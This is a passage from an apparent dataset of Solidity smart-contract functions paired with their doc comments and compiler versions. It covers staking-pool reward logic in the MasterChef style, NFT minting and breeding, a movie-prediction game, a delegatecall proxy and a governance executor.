blockNumber) {\n\t\t\t\tlower = center;\n\t\t\t} else {\n\t\t\t\tupper = center - 1;\n\t\t\t}\n\t\t}\n\t\treturn checkpoints[account][lower].votes;\n\t}", "version": "0.6.12"} {"comment": "//TEAM Withdraw", "function_code": "function withdraw() public onlyOwner {\r\n uint256 balance = address(this).balance;\r\n require(balance > 0, \"Insufficent balance\");\r\n uint256 witdrawAmount = calculateWithdraw(budgetDev1,(balance * 25) / 100);\r\n if (witdrawAmount>0){\r\n budgetDev1 -= witdrawAmount;\r\n _withdraw(DEV1, witdrawAmount);\r\n }\r\n witdrawAmount = calculateWithdraw(budgetCommunityWallet,(balance * 75) / 100);\r\n if (witdrawAmount>0){\r\n budgetCommunityWallet -= witdrawAmount;\r\n _withdraw(CommunityWallet, witdrawAmount);\r\n }\r\n \r\n }", "version": "0.8.12"} {"comment": "/// @dev Creates a new pool.\n///\n/// The created pool will need to have its reward weight initialized before it begins generating rewards.\n///\n/// @param _token The token the pool will accept for staking.\n///\n/// @return the identifier for the newly created pool.", "function_code": "function createPool(IERC20 _token) external onlyGovernance returns (uint256) {\n\t\trequire(tokenPoolIds[_token] == 0, \"StakingPools: token already has a pool\");\n\n\t\tuint256 _poolId = _pools.length();\n\n\t\t_pools.push(\n\t\t\tPool.Data({\n\t\t\t\ttoken: _token,\n\t\t\t\ttotalDeposited: 0,\n\t\t\t\trewardWeight: 0,\n\t\t\t\taccumulatedRewardWeight: FixedPointMath.uq192x64(0),\n\t\t\t\tlastUpdatedBlock: block.number\n\t\t\t})\n\t\t);\n\n\t\ttokenPoolIds[_token] = _poolId + 1;\n\n\t\temit PoolCreated(_poolId, _token);\n\n\t\treturn _poolId;\n\t}", "version": "0.6.12"} {"comment": "/// @dev Sets the reward weights of all of the pools.\n///\n/// @param _rewardWeights The reward weights of all of the pools.", "function_code": "function setRewardWeights(uint256[] calldata _rewardWeights) external onlyGovernance {\n\t\trequire(_rewardWeights.length == _pools.length(), \"StakingPools: weights length mismatch\");\n\n\t\t_updatePools();\n\n\t\tuint256 _totalRewardWeight = _ctx.totalRewardWeight;\n\t\tfor (uint256 _poolId = 0; _poolId < _pools.length(); _poolId++) {\n\t\t\tPool.Data storage _pool = _pools.get(_poolId);\n\n\t\t\tuint256 _currentRewardWeight = _pool.rewardWeight;\n\t\t\tif (_currentRewardWeight == _rewardWeights[_poolId]) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t// FIXME\n\t\t\t_totalRewardWeight = _totalRewardWeight.sub(_currentRewardWeight).add(_rewardWeights[_poolId]);\n\t\t\t_pool.rewardWeight = _rewardWeights[_poolId];\n\n\t\t\temit PoolRewardWeightUpdated(_poolId, _rewardWeights[_poolId]);\n\t\t}\n\n\t\t_ctx.totalRewardWeight = _totalRewardWeight;\n\t}", "version": "0.6.12"} {"comment": "/// @dev Stakes tokens into a pool.\n///\n/// The pool and stake MUST be updated before calling this function.\n///\n/// @param _poolId the pool to deposit tokens into.\n/// @param _depositAmount the amount of tokens to deposit.", "function_code": "function _deposit(uint256 _poolId, uint256 _depositAmount) internal {\n\t\tPool.Data storage _pool = _pools.get(_poolId);\n\t\tStake.Data storage _stake = _stakes[msg.sender][_poolId];\n\n\t\t_pool.totalDeposited = _pool.totalDeposited.add(_depositAmount);\n\t\t_stake.totalDeposited = _stake.totalDeposited.add(_depositAmount);\n\n\t\t_pool.token.safeTransferFrom(msg.sender, address(this), _depositAmount);\n\n\t\temit TokensDeposited(msg.sender, _poolId, _depositAmount);\n\t}", "version": "0.6.12"} {"comment": "/**\n * @notice delegate all calls to implementation contract\n * @dev reverts if implementation address contains no code, for compatibility with metamorphic contracts\n * @dev memory location in use by assembly may be unsafe in other contexts\n */", "function_code": "fallback() external payable virtual {\n address implementation = _getImplementation();\n\n require(\n implementation.isContract(),\n 'Proxy: implementation must be contract'\n );\n\n assembly {\n calldatacopy(0, 0, calldatasize())\n let result := delegatecall(\n gas(),\n implementation,\n 0,\n calldatasize(),\n 0,\n 0\n )\n returndatacopy(0, 0, returndatasize())\n\n switch result\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Internal function that burns an amount of the token of a given\r\n * account, deducting from the sender's allowance for said account. Uses the\r\n * internal burn function.\r\n * @param account The account whose tokens will be burnt.\r\n * @param value The amount that will be burnt.\r\n */", "function_code": "function _burnFrom(address account, uint256 value) internal {\r\n require(value <= _allowed[account][msg.sender]);\r\n\r\n // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,\r\n // this function needs to emit an event with the updated approval.\r\n _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(\r\n value);\r\n _burn(account, value);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev low level token purchase ***DO NOT OVERRIDE***\r\n * @param beneficiary Address performing the token purchase\r\n */", "function_code": "function buyTokens(address beneficiary) public payable {\r\n\r\n uint256 weiAmount = msg.value;\r\n _preValidatePurchase(beneficiary, weiAmount);\r\n\r\n // calculate token amount to be created\r\n uint256 tokens = _getTokenAmount(weiAmount);\r\n\r\n // update state\r\n _weiRaised = _weiRaised.add(weiAmount);\r\n\r\n _processPurchase(beneficiary, tokens);\r\n emit TokensPurchased(\r\n msg.sender,\r\n beneficiary,\r\n weiAmount,\r\n tokens\r\n );\r\n\r\n _updatePurchasingState(beneficiary, weiAmount);\r\n\r\n _forwardFunds();\r\n _postValidatePurchase(beneficiary, weiAmount);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * calculate a percentage with parts per notation.\r\n * the value returned will be in terms of 10e precision\r\n */", "function_code": "function percent(uint numerator, uint denominator, uint precision) private pure returns(uint quotient) {\r\n // caution, keep this a private function so the numbers are safe\r\n uint _numerator = (numerator * 10 ** (precision+1));\r\n // with rounding of last digit\r\n uint _quotient = ((_numerator / denominator)) / 10;\r\n return ( _quotient);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev wallet can send funds\r\n */", "function_code": "function sendTo(address _payee, uint256 _amount) private {\r\n require(_payee != 0 && _payee != address(this), \"Burning tokens and self transfer not allowed\");\r\n require(_amount > 0, \"Must transfer greater than zero\");\r\n _payee.transfer(_amount);\r\n emit Sent(_payee, _amount, address(this).balance);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev function for the player to cash in tokens\r\n */", "function_code": "function redeemTokens(address _player, address _tokenAddress) public returns (bool success) {\r\n require(acceptedToken(_tokenAddress), \"Token must be a registered token\");\r\n require(block.timestamp >= closeDate, \"Game must be closed\");\r\n require(gameDone == true, \"Can't redeem tokens until results have been uploaded\");\r\n // instantiate a token contract instance from the deployed address\r\n IPickFlixToken _token = IPickFlixToken(_tokenAddress);\r\n // check token allowance player has given to GameMaster contract\r\n uint256 _allowedValue = _token.allowance(_player, address(this));\r\n // transfer tokens to GameMaster\r\n _token.transferFrom(_player, address(this), _allowedValue);\r\n // check balance of tokens actually transfered\r\n uint256 _transferedTokens = _allowedValue;\r\n // calculate the percentage of the total token supply represented by the transfered tokens\r\n uint256 _playerPercentage = percent(_transferedTokens, _token.totalSupply(), 4);\r\n // calculate the particular player's rewards, as a percentage of total player rewards for the movie\r\n uint256 _playerRewards = movies[_tokenAddress].totalPlayerRewards.mul(_playerPercentage).div(10**4);\r\n // pay out ETH to the player\r\n sendTo(_player, _playerRewards);\r\n // return that the function succeeded\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "// this calculates how much Ether to reward for each game token", "function_code": "function calculateTotalPlayerRewardsPerMovie(uint256 _boxOfficeTotal) public view returns (uint256) {\r\n // 234 means 23.4%, using parts-per notation with three decimals of precision\r\n uint256 _boxOfficePercentage = percent(_boxOfficeTotal, totalBoxOffice, 4);\r\n // calculate the Ether rewards available for each movie\r\n uint256 _rewards = totalPlayerRewards.mul(_boxOfficePercentage).div(10**4);\r\n return _rewards;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev add box office results and token addresses for the movies, and calculate game results\r\n */", "function_code": "function calculateGameResults(address[] _tokenAddresses, uint256[] _boxOfficeTotals) public onlyOwner {\r\n // check that there are as many box office totals as token addresses\r\n require(_tokenAddresses.length == _boxOfficeTotals.length, \"Must have box office results per token\");\r\n // calculate Oracle Fee and amount of Ether available for player rewards\r\n require(gameDone == false, \"Can only submit results once\");\r\n require(block.timestamp >= closeDate, \"Game must have ended before results can be entered\");\r\n oracleFee = calculateOracleFee();\r\n totalPlayerRewards = calculateTotalPlayerRewards();\r\n totalBoxOffice = calculateTotalBoxOffice(_boxOfficeTotals);\r\n\r\n // create Movies (see: Movie struct) and calculate player rewards\r\n for (uint256 i = 0; i < _tokenAddresses.length; i++) {\r\n tokensIssued = tokensIssued.add(calculateTokensIssued(_tokenAddresses[i]));\r\n movies[_tokenAddresses[i]] = Movie(_boxOfficeTotals[i], calculateTotalPlayerRewardsPerMovie(_boxOfficeTotals[i]), true);\r\n }\r\n\r\n // The owner will be the Factory that deploys this contract.\r\n owner().transfer(oracleFee);\r\n gameDone = true;\r\n }", "version": "0.4.25"} {"comment": "// Create a new game master and add it to the factories game list", "function_code": "function createGame(string gameName, uint closeDate, uint oracleFeePercent) public onlyOwner returns (address){\r\n address gameMaster = new PickflixGameMaster(gameName, closeDate, oracleFeePercent);\r\n games.push(Game({\r\n gameName: gameName,\r\n gameMaster: gameMaster,\r\n openDate: block.timestamp,\r\n closeDate: closeDate\r\n }));\r\n return gameMaster;\r\n }", "version": "0.4.25"} {"comment": "// Create a token and associate it with a game", "function_code": "function createTokenForGame(uint gameIndex, string tokenName, string tokenSymbol, uint rate, string externalID) public onlyOwner returns (address) {\r\n Game storage game = games[gameIndex];\r\n address token = new PickFlixToken(tokenName, tokenSymbol, rate, game.gameMaster, game.closeDate, externalID);\r\n gameTokens[game.gameMaster].push(token);\r\n return token;\r\n }", "version": "0.4.25"} {"comment": "/*\r\n * mintFreeDoodle\r\n * mints a free daijuking using a Doodles token - can only be claimed once per wallet\r\n */", "function_code": "function mintFreeDoodle() public payable IsSaleActive IsFreeMintActive {\r\n uint256 supply = TotalSupplyFix.current();\r\n\r\n require(supply <= maxGenCount, \"All Genesis Daijukingz were claimed!\");\r\n require(mintFreeDoodleList(msg.sender) >= 1, \"You don't own any Doodles!\");\r\n require((supply + 1) <= maxFreeMints, \"All the free mints have been claimed!\");\r\n require(freeMintList[msg.sender] < 1, \"You already claimed your free daijuking!\");\r\n require(!breedingEnabled, \"Minting genesis has been disabled!\");\r\n\r\n _safeMint(msg.sender, supply);\r\n TotalSupplyFix.increment();\r\n\r\n freeMintList[msg.sender] = 1;\r\n balanceGenesis[msg.sender]++;\r\n genCount++;\r\n freeMintCount += 1;\r\n }", "version": "0.8.11"} {"comment": "/*\r\n * mintFreeGiveaway\r\n * this is for the giveaway winners - allows you to mint a free daijuking\r\n */", "function_code": "function mintFreeGiveaway() public payable IsSaleActive IsFreeMintActive {\r\n uint256 supply = TotalSupplyFix.current();\r\n\r\n require(supply <= maxGenCount, \"All Genesis Daijukingz were claimed!\");\r\n require((supply + 1) <= maxGivewayMint, \"All giveaway mints were claimed!\");\r\n require(giveawayMintList[msg.sender] >= 1, \"You don't have any free mints left!\");\r\n require(!breedingEnabled, \"Minting genesis has been disabled!\");\r\n\r\n _safeMint(msg.sender, supply);\r\n TotalSupplyFix.increment();\r\n\r\n giveawayMintList[msg.sender] = 0;\r\n balanceGenesis[msg.sender]++;\r\n genCount++;\r\n giveawayMintCount += 1;\r\n }", "version": "0.8.11"} {"comment": "// Add a new lp to the pool. Can only be called by the owner.\n// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.", "function_code": "function add(\n\t\tuint256 _allocPoint,\n\t\tIERC20 _lpToken,\n\t\tbool _withUpdate\n\t) public onlyOwner {\n\t\tif (_withUpdate) {\n\t\t\tmassUpdatePools();\n\t\t}\n\t\tuint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;\n\t\ttotalAllocPoint = totalAllocPoint.add(_allocPoint);\n\t\tpoolInfo.push(\n\t\t\tPoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accSushiPerShare: 0 })\n\t\t);\n\t}", "version": "0.6.12"} {"comment": "// Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good.", "function_code": "function migrate(uint256 _pid) public {\n\t\trequire(address(migrator) != address(0), \"migrate: no migrator\");\n\t\tPoolInfo storage pool = poolInfo[_pid];\n\t\tIERC20 lpToken = pool.lpToken;\n\t\tuint256 bal = lpToken.balanceOf(address(this));\n\t\tlpToken.safeApprove(address(migrator), bal);\n\t\tIERC20 newLpToken = migrator.migrate(lpToken);\n\t\trequire(bal == newLpToken.balanceOf(address(this)), \"migrate: bad\");\n\t\tpool.lpToken = newLpToken;\n\t}", "version": "0.6.12"} {"comment": "/*\r\n * mint\r\n * mints the daijuking using ETH as the payment token\r\n */", "function_code": "function mint(uint256 numberOfMints) public payable IsSaleActive {\r\n uint256 supply = TotalSupplyFix.current();\r\n require(numberOfMints > 0 && numberOfMints < 11, \"Invalid purchase amount\");\r\n\r\n if (block.timestamp <= freeEndTimestamp) {\r\n require(supply.add(numberOfMints) <= (maxGenCount - (maxFreeMints + maxGivewayMint)), \"Purchase would exceed max supply\");\r\n } else {\r\n require(supply.add(numberOfMints) <= maxGenCount, \"Purchase would exceed max supply\");\r\n }\r\n \r\n require(price.mul(numberOfMints) == msg.value, \"Ether value sent is not correct\");\r\n require(!breedingEnabled, \"Minting genesis has been disabled!\");\r\n\r\n for (uint256 i; i < numberOfMints; i++) {\r\n _safeMint(msg.sender, supply + i);\r\n balanceGenesis[msg.sender]++;\r\n genCount++;\r\n TotalSupplyFix.increment();\r\n }\r\n }", "version": "0.8.11"} {"comment": "// View function to see pending SUSHIs on frontend.", "function_code": "function pendingSushi(uint256 _pid, address _user) external view returns (uint256) {\n\t\tPoolInfo storage pool = poolInfo[_pid];\n\t\tUserInfo storage user = userInfo[_pid][_user];\n\t\tuint256 accSushiPerShare = pool.accSushiPerShare;\n\t\tuint256 lpSupply = pool.lpToken.balanceOf(address(this));\n\t\tif (block.number > pool.lastRewardBlock && lpSupply != 0) {\n\t\t\tuint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);\n\t\t\tuint256 sushiReward = multiplier.mul(sushiPerBlock).mul(pool.allocPoint).div(totalAllocPoint);\n\t\t\taccSushiPerShare = accSushiPerShare.add(sushiReward.mul(1e12).div(lpSupply));\n\t\t}\n\t\treturn user.amount.mul(accSushiPerShare).div(1e12).sub(user.rewardDebt);\n\t}", "version": "0.6.12"} {"comment": "/*\r\n * mintWithSOS\r\n * allows the user to mint a daijuking using the $SOS token\r\n * note: user must approve it before this can be called\r\n */", "function_code": "function mintWithSOS(uint256 numberOfMints) public payable IsSaleActive {\r\n uint256 supply = TotalSupplyFix.current();\r\n \r\n require(numberOfMints > 0 && numberOfMints < 11, \"Invalid purchase amount\");\r\n require(supply.add(numberOfMints) <= maxGenCount, \"Purchase would exceed max supply\");\r\n require(sosPrice.mul(numberOfMints) < SOS.balanceOf(msg.sender), \"Not enough SOS to mint!\");\r\n require(!breedingEnabled, \"Minting genesis has been disabled!\");\r\n\r\n SOS.transferFrom(msg.sender, sosWallet, sosPrice.mul(numberOfMints));\r\n\r\n for (uint256 i; i < numberOfMints; i++) {\r\n _safeMint(msg.sender, supply + i);\r\n balanceGenesis[msg.sender]++;\r\n genCount++;\r\n TotalSupplyFix.increment();\r\n }\r\n }", "version": "0.8.11"} {"comment": "// Deposit LP tokens to MasterChef for SUSHI allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\n\t\tPoolInfo storage pool = poolInfo[_pid];\n\t\tUserInfo storage user = userInfo[_pid][msg.sender];\n\t\tupdatePool(_pid);\n\t\tif (user.amount > 0) {\n\t\t\tuint256 pending = user.amount.mul(pool.accSushiPerShare).div(1e12).sub(user.rewardDebt);\n\t\t\tsafeSushiTransfer(msg.sender, pending);\n\t\t}\n\t\tpool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\n\t\tuser.amount = user.amount.add(_amount);\n\t\tuser.rewardDebt = user.amount.mul(pool.accSushiPerShare).div(1e12);\n\t\temit Deposit(msg.sender, _pid, _amount);\n\t}", "version": "0.6.12"} {"comment": "// Withdraw LP tokens from MasterChef.", "function_code": "function withdraw(uint256 _pid, uint256 _amount) public {\n\t\tPoolInfo storage pool = poolInfo[_pid];\n\t\tUserInfo storage user = userInfo[_pid][msg.sender];\n\t\trequire(user.amount >= _amount, \"withdraw: not good\");\n\t\tupdatePool(_pid);\n\t\tuint256 pending = user.amount.mul(pool.accSushiPerShare).div(1e12).sub(user.rewardDebt);\n\t\tsafeSushiTransfer(msg.sender, pending);\n\t\tuser.amount = user.amount.sub(_amount);\n\t\tuser.rewardDebt = user.amount.mul(pool.accSushiPerShare).div(1e12);\n\t\tpool.lpToken.safeTransfer(address(msg.sender), _amount);\n\t\temit Withdraw(msg.sender, _pid, _amount);\n\t}", "version": "0.6.12"} {"comment": "/*\r\n * breed\r\n * allows you to create a daijuking using 2 parents and some $COLORWASTE, 18+ only\r\n * note: selecting is automatic from the DAPP, but if you use the contract make sure they are two unique token id's that aren't children...\r\n */", "function_code": "function breed(uint256 parent1, uint256 parent2) public DaijuOwner(parent1) DaijuOwner(parent2) {\r\n uint256 supply = TotalSupplyFix.current();\r\n\r\n require(breedingEnabled, \"Breeding isn't enabled yet!\");\r\n require(supply < maxSupply, \"Cannot breed any more baby Daijus\");\r\n require(parent1 < genCount && parent2 < genCount, \"Cannot breed with baby Daijus (thats sick bro)\");\r\n require(parent1 != parent2, \"Must select two unique parents\");\r\n\r\n // burns the tokens for the breeding cost\r\n CW.burn(msg.sender, breedPrice + increasePerBreed * babyCount);\r\n\r\n // adds the baby to the total supply and counter\r\n babyCount++;\r\n TotalSupplyFix.increment();\r\n\r\n // mints the baby daijuking and adds it to the balance for the wallet\r\n _safeMint(msg.sender, supply);\r\n balanceBaby[msg.sender]++;\r\n }", "version": "0.8.11"} {"comment": "/* Send coins */", "function_code": "function transfer(address _to, uint256 _value) {\r\n if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough\r\n if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows\r\n balanceOf[msg.sender] -= _value; // Subtract from the sender\r\n balanceOf[_to] += _value; // Add the same to the recipient\r\n \r\n }", "version": "0.4.11"} {"comment": "/// @notice Returns the metadata of this (MetaProxy) contract.\n/// Only relevant with contracts created via the MetaProxy.\n/// @dev This function is aimed to be invoked with- & without a call.", "function_code": "function getMetadata () public pure returns (\n address bridge,\n address vault\n ) {\n assembly {\n // calldata layout:\n // [ arbitrary data... ] [ metadata... ] [ size of metadata 32 bytes ]\n bridge := calldataload(sub(calldatasize(), 96))\n vault := calldataload(sub(calldatasize(), 64))\n }\n }", "version": "0.7.6"} {"comment": "/// @notice Executes a set of contract calls `actions` if there is a valid\n/// permit on the rollup bridge for `proposalId` and `actions`.", "function_code": "function execute (bytes32 proposalId, bytes memory actions) external {\n (address bridge, address vault) = getMetadata();\n\n require(executed[proposalId] == false, 'already executed');\n require(\n IBridge(bridge).executionPermit(vault, proposalId) == keccak256(actions),\n 'wrong permit'\n );\n\n // mark it as executed\n executed[proposalId] = true;\n // execute\n assembly {\n // Note: we use `callvalue()` instead of `0`\n let ptr := add(actions, 32)\n let max := add(ptr, mload(actions))\n\n for { } lt(ptr, max) { } {\n let addr := mload(ptr)\n ptr := add(ptr, 32)\n let size := mload(ptr)\n ptr := add(ptr, 32)\n\n let success := call(gas(), addr, callvalue(), ptr, size, callvalue(), callvalue())\n if iszero(success) {\n // failed, copy the error\n returndatacopy(callvalue(), callvalue(), returndatasize())\n revert(callvalue(), returndatasize())\n }\n ptr := add(ptr, size)\n }\n }\n }", "version": "0.7.6"} {"comment": "/*\r\n * reserve\r\n * mints the reserved amount \r\n */", "function_code": "function reserve(uint256 count) public onlyOwner {\r\n uint256 supply = TotalSupplyFix.current();\r\n\r\n require(reserveCount + count < reserveMax, \"cannot reserve more\");\r\n\r\n for (uint256 i = 0; i < count; i++) {\r\n _safeMint(msg.sender, supply + i);\r\n balanceGenesis[msg.sender]++;\r\n genCount++;\r\n TotalSupplyFix.increment();\r\n reserveCount++;\r\n }\r\n }", "version": "0.8.11"} {"comment": "/*\r\n * getTypes\r\n * gets the tokens provided and returns the genesis and baby daijukingz\r\n *\r\n * genesis is 0\r\n * baby is 1\r\n */", "function_code": "function getTypes(uint256[] memory list) external view returns(uint256[] memory) {\r\n uint256[] memory typeList = new uint256[](list.length);\r\n\r\n for (uint256 i; i < list.length; i++){\r\n if (list[i] >= genCount) {\r\n typeList[i] = 1;\r\n } else {\r\n typeList[i] = 0;\r\n }\r\n }\r\n\r\n return typeList;\r\n }", "version": "0.8.11"} {"comment": "/*\r\n * walletOfOwner\r\n * returns the tokens that the user owns\r\n */", "function_code": "function walletOfOwner(address owner) public view returns(uint256[] memory) {\r\n uint256 tokenCount = balanceOf(owner);\r\n uint256 supply = TotalSupplyFix.current();\r\n uint256 index = 0;\r\n\r\n uint256[] memory tokensId = new uint256[](tokenCount);\r\n \r\n for (uint256 i; i < supply; i++) {\r\n if (ownerOf(i) == owner) {\r\n tokensId[index] = i;\r\n index++;\r\n }\r\n }\r\n\r\n return tokensId;\r\n }", "version": "0.8.11"} {"comment": "/// @notice Add a new LP to the pool. Can only be called by the owner.\n/// DO NOT add the same LP token more than once. Rewards will be messed up if you do.\n/// @param allocPoint AP of the new pool.\n/// @param _lpToken Address of the LP ERC-20 token.\n/// @param _rewarder Address of the rewarder delegate.", "function_code": "function add(\n\t\tuint256 allocPoint,\n\t\tIERC20 _lpToken,\n\t\tIRewarder _rewarder\n\t) public onlyOwner {\n\t\tuint256 lastRewardBlock = block.number;\n\t\ttotalAllocPoint = totalAllocPoint.add(allocPoint);\n\t\tlpToken.push(_lpToken);\n\t\trewarder.push(_rewarder);\n\n\t\tpoolInfo.push(\n\t\t\tPoolInfo({ allocPoint: allocPoint.to64(), lastRewardBlock: lastRewardBlock.to64(), accSushiPerShare: 0 })\n\t\t);\n\t\temit LogPoolAddition(lpToken.length.sub(1), allocPoint, _lpToken, _rewarder);\n\t}", "version": "0.6.12"} {"comment": "/// @notice Update the given pool's SUSHI allocation point and `IRewarder` contract. Can only be called by the owner.\n/// @param _pid The index of the pool. See `poolInfo`.\n/// @param _allocPoint New AP of the pool.\n/// @param _rewarder Address of the rewarder delegate.\n/// @param overwrite True if _rewarder should be `set`. Otherwise `_rewarder` is ignored.", "function_code": "function set(\n\t\tuint256 _pid,\n\t\tuint256 _allocPoint,\n\t\tIRewarder _rewarder,\n\t\tbool overwrite\n\t) public onlyOwner {\n\t\ttotalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);\n\t\tpoolInfo[_pid].allocPoint = _allocPoint.to64();\n\t\tif (overwrite) {\n\t\t\trewarder[_pid] = _rewarder;\n\t\t}\n\t\temit LogSetPool(_pid, _allocPoint, overwrite ? _rewarder : rewarder[_pid], overwrite);\n\t}", "version": "0.6.12"} {"comment": "/// @notice Migrate LP token to another LP contract through the `migrator` contract.\n/// @param _pid The index of the pool. See `poolInfo`.", "function_code": "function migrate(uint256 _pid) public {\n\t\trequire(address(migrator) != address(0), \"MasterChefV2: no migrator set\");\n\t\tIERC20 _lpToken = lpToken[_pid];\n\t\tuint256 bal = _lpToken.balanceOf(address(this));\n\t\t_lpToken.approve(address(migrator), bal);\n\t\tIERC20 newLpToken = migrator.migrate(_lpToken);\n\t\trequire(bal == newLpToken.balanceOf(address(this)), \"MasterChefV2: migrated balance must match\");\n\t\tlpToken[_pid] = newLpToken;\n\t}", "version": "0.6.12"} {"comment": "/// @notice View function to see pending SUSHI on frontend.\n/// @param _pid The index of the pool. See `poolInfo`.\n/// @param _user Address of user.\n/// @return pending SUSHI reward for a given user.", "function_code": "function pendingSushi(uint256 _pid, address _user) external view returns (uint256 pending) {\n\t\tPoolInfo memory pool = poolInfo[_pid];\n\t\tUserInfo storage user = userInfo[_pid][_user];\n\t\tuint256 accSushiPerShare = pool.accSushiPerShare;\n\t\tuint256 lpSupply = lpToken[_pid].balanceOf(address(this));\n\t\tif (block.number > pool.lastRewardBlock && lpSupply != 0) {\n\t\t\tuint256 blocks = block.number.sub(pool.lastRewardBlock);\n\t\t\tuint256 sushiReward = blocks.mul(sushiPerBlock()).mul(pool.allocPoint) / totalAllocPoint;\n\t\t\taccSushiPerShare = accSushiPerShare.add(sushiReward.mul(ACC_SUSHI_PRECISION) / lpSupply);\n\t\t}\n\t\tpending = int256(user.amount.mul(accSushiPerShare) / ACC_SUSHI_PRECISION).sub(user.rewardDebt).toUInt256();\n\t}", "version": "0.6.12"} {"comment": "/// @notice Deposit LP tokens to MCV2 for SUSHI allocation.\n/// @param pid The index of the pool. See `poolInfo`.\n/// @param amount LP token amount to deposit.\n/// @param to The receiver of `amount` deposit benefit.", "function_code": "function deposit(\n\t\tuint256 pid,\n\t\tuint256 amount,\n\t\taddress to\n\t) public {\n\t\tPoolInfo memory pool = updatePool(pid);\n\t\tUserInfo storage user = userInfo[pid][to];\n\n\t\t// Effects\n\t\tuser.amount = user.amount.add(amount);\n\t\tuser.rewardDebt = user.rewardDebt.add(int256(amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION));\n\n\t\t// Interactions\n\t\tIRewarder _rewarder = rewarder[pid];\n\t\tif (address(_rewarder) != address(0)) {\n\t\t\t_rewarder.onSushiReward(pid, to, to, 0, user.amount);\n\t\t}\n\n\t\tlpToken[pid].safeTransferFrom(msg.sender, address(this), amount);\n\n\t\temit Deposit(msg.sender, pid, amount, to);\n\t}", "version": "0.6.12"} {"comment": "/// @notice Withdraw LP tokens from MCV2.\n/// @param pid The index of the pool. See `poolInfo`.\n/// @param amount LP token amount to withdraw.\n/// @param to Receiver of the LP tokens.", "function_code": "function withdraw(\n\t\tuint256 pid,\n\t\tuint256 amount,\n\t\taddress to\n\t) public {\n\t\tPoolInfo memory pool = updatePool(pid);\n\t\tUserInfo storage user = userInfo[pid][msg.sender];\n\n\t\t// Effects\n\t\tuser.rewardDebt = user.rewardDebt.sub(int256(amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION));\n\t\tuser.amount = user.amount.sub(amount);\n\n\t\t// Interactions\n\t\tIRewarder _rewarder = rewarder[pid];\n\t\tif (address(_rewarder) != address(0)) {\n\t\t\t_rewarder.onSushiReward(pid, msg.sender, to, 0, user.amount);\n\t\t}\n\n\t\tlpToken[pid].safeTransfer(to, amount);\n\n\t\temit Withdraw(msg.sender, pid, amount, to);\n\t}", "version": "0.6.12"} {"comment": "/// @notice Harvest proceeds for transaction sender to `to`.\n/// @param pid The index of the pool. See `poolInfo`.\n/// @param to Receiver of SUSHI rewards.", "function_code": "function harvest(uint256 pid, address to) public {\n\t\tPoolInfo memory pool = updatePool(pid);\n\t\tUserInfo storage user = userInfo[pid][msg.sender];\n\t\tint256 accumulatedSushi = int256(user.amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION);\n\t\tuint256 _pendingSushi = accumulatedSushi.sub(user.rewardDebt).toUInt256();\n\n\t\t// Effects\n\t\tuser.rewardDebt = accumulatedSushi;\n\n\t\t// Interactions\n\t\tif (_pendingSushi != 0) {\n\t\t\tSUSHI.safeTransfer(to, _pendingSushi);\n\t\t}\n\n\t\tIRewarder _rewarder = rewarder[pid];\n\t\tif (address(_rewarder) != address(0)) {\n\t\t\t_rewarder.onSushiReward(pid, msg.sender, to, _pendingSushi, user.amount);\n\t\t}\n\n\t\temit Harvest(msg.sender, pid, _pendingSushi);\n\t}", "version": "0.6.12"} {"comment": "/// @notice Withdraw LP tokens from MCV2 and harvest proceeds for transaction sender to `to`.\n/// @param pid The index of the pool. See `poolInfo`.\n/// @param amount LP token amount to withdraw.\n/// @param to Receiver of the LP tokens and SUSHI rewards.", "function_code": "function withdrawAndHarvest(\n\t\tuint256 pid,\n\t\tuint256 amount,\n\t\taddress to\n\t) public {\n\t\tPoolInfo memory pool = updatePool(pid);\n\t\tUserInfo storage user = userInfo[pid][msg.sender];\n\t\tint256 accumulatedSushi = int256(user.amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION);\n\t\tuint256 _pendingSushi = accumulatedSushi.sub(user.rewardDebt).toUInt256();\n\n\t\t// Effects\n\t\tuser.rewardDebt = accumulatedSushi.sub(int256(amount.mul(pool.accSushiPerShare) / ACC_SUSHI_PRECISION));\n\t\tuser.amount = user.amount.sub(amount);\n\n\t\t// Interactions\n\t\tSUSHI.safeTransfer(to, _pendingSushi);\n\n\t\tIRewarder _rewarder = rewarder[pid];\n\t\tif (address(_rewarder) != address(0)) {\n\t\t\t_rewarder.onSushiReward(pid, msg.sender, to, _pendingSushi, user.amount);\n\t\t}\n\n\t\tlpToken[pid].safeTransfer(to, amount);\n\n\t\temit Withdraw(msg.sender, pid, amount, to);\n\t\temit Harvest(msg.sender, pid, _pendingSushi);\n\t}", "version": "0.6.12"} {"comment": "/// @notice Withdraw without caring about rewards. EMERGENCY ONLY.\n/// @param pid The index of the pool. See `poolInfo`.\n/// @param to Receiver of the LP tokens.", "function_code": "function emergencyWithdraw(uint256 pid, address to) public {\n\t\tUserInfo storage user = userInfo[pid][msg.sender];\n\t\tuint256 amount = user.amount;\n\t\tuser.amount = 0;\n\t\tuser.rewardDebt = 0;\n\n\t\tIRewarder _rewarder = rewarder[pid];\n\t\tif (address(_rewarder) != address(0)) {\n\t\t\t_rewarder.onSushiReward(pid, msg.sender, to, 0, 0);\n\t\t}\n\n\t\t// Note: transfer can fail or succeed 